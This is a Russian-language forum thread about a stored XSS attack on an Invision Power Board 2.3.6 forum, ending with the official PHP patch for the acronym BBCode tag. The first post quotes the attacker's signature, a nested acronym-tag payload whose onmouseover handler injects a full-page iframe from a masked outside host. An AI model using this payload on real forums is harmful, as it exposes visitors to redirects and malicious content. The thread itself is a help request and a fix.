Есть форум ipb 2 3 6 один пользователь прислал в ЛС некое сообщение, при прокрутке скролом страницы перекинуло на другой сайт и вернуло обратно. В подписи юзера оказался следующий код HTML: [color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color] вот как работает тег акронима: Code: [acronym='Laugh Out Loud']lol[/acronym] <acronym title='{option}'>{content}</acronym> Как защититься и что делать?
вот похоже http://forum.antichat.ru/threadnav10119-1-10.html похожий способ взлома Напишите кто знает как это в ipb прикрыть
Мозг вещь хорошая но еще нужны знания, у меня их нет чтобы баг фиксануть http://forums.ibresource.ru/index.php?showtopic=60138 Вон, как показывает практика уязвимы все двойки ipb, я думаю баг знающие люди найдут способ и к тройке применить
Официальный фикс xss с акронимом в 2.3.6 Изменения sources/classes/bbcode/class_bbcode_core.php найти Code: # XSS Check: Bug ID: 980 if ( $row['bbcode_tag'] == 'post' OR $row['bbcode_tag'] == 'topic' OR $row['bbcode_tag'] == 'snapback' ) { $match[ $_option ][$i] = intval( $match[ $_option ][$i] ); } Добавить ниже Code: # XSS acronym if ( $row['bbcode_tag'] == 'acronym' ) { $match[ $_option ][$i] = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_option ][$i] ); $match[ $_option ][$i] = str_replace( array( ':', ';' ), '', $match[ $_option ][$i] ); $match[ $_content ][$i] = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_content ][$i] ); $match[ $_content ][$i] = str_replace( array( ':', ';' ), '', $match[ $_content ][$i] ); } И это все.